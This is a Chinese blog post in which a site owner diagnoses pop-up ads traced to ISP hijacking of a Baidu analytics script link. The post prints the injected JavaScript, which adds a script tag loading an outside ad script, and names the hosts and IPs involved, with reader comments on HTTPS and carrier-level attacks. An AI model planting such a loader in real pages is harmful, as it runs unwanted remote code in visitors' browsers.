DNS 糟污染,百度统计的 js 链接被劫持

LMS
1.7K+ 51

最近在家里打开自己的博客经常网页底部弹出弹窗广告,虽然博客放了百度的广告,但我并没有设置底部弹窗,一度以为网站被人黑了,分析了下页面代码才发现,原来是百度统计的 js 链接被劫持,导致网站跳出广告。

百度统计里有一段是通过以下 js 链接引用百度官方的代码,原本打开后是一大堆乱七八糟的 js,被劫持后就变成几行全新的代码。

百度统计被劫持的 js 链接地址:http://cpro.baidustatic.com/cpro/ui/i.js
被劫持后上面 js 链接打开后的代码内容:

var jumpJs='http://cpro.baidustatic.com/cpro/ui/i.js';
var _ruleType='nn_p';
var comjs='http://yunyunyun.b0.upaiyun.com/js/scriptcc_v1.min.js';
if (typeof _flag == 'undefined'){var _flag = true;}else{comjs=jumpJs+'?checkSign=201509';}
var script=document.createElement("script");
script.src=comjs;
script.type='text/javascript';
document.head.appendChild(script);

有趣的是,这个代码里面第 3 行的那个外链 js 居然是引用又拍云的,而这个地址不知道什么原因经常会打不开(能打开时是一大堆乱七八糟的 JS 代码),导致审查元素的时候会提示 net::ERR_CONNECTION_TIMED_OUT 错误,但不影响百度链接被劫持后强行弹窗的广告。

劫持后弹出的广告代码会伪造一个 cnzz 统计的样子,然后通过 iframe 打开一个 i.dreamfull.cn 的页面,ping dreamfull.cn 和 i.dreamfull.cn 返回的值不一样,根域名返回的是 101.200.29.89 的 ip 地址,但请求超时,2 级域名返回的地址是 i.dreamfull.cn.w.kunlunpi.com [61.154.126.30],能 ping 的通,貌似还是阿里云的服务器。Whois 查了下这两个域名,都是阿里巴巴(万网)注册的,且设置了隐私保护。

fuckad1

搜索了一下,发现不止我一个人遇到这种情况,也知道了这种情况原来是 DNS 被运营商污染导致的,而且大多发生在小城镇或者城郊地区(城区估计是怕被投诉,小地方弹出广告估计用网络的也不知道怎么回事),不分电信还是移动还是其他运营商(我用的是电信),怎一个黑心了得。

百度贴吧里有个帖子,不知道是什么年代的,说是把地址改成 https 能解决问题,经过实测没有任何鸟用,所以,估计要解决问题估计只有等运营商良心发现了。

THE END
微信打赏

评论 51

  1. 厉害了,我的哥。老哥不打算上Let's Encrypt的车吗?

      1. 大炮是一种国家级的网络攻击形式,不过只要运营商级就可以做得到,1可以劫持流量,2可以定向攻击。

          1. 不是你变成肉鸡,而是访问你网站的用户会变成肉鸡,这个其实和你关系不大,只要你引用了百度的脚本,那就是会这样。
            上ssl并不一定有效,因为你最后还是要引用非ssl的百度代码。而且没法确定百度不是参与者之一。

发表评论

Submit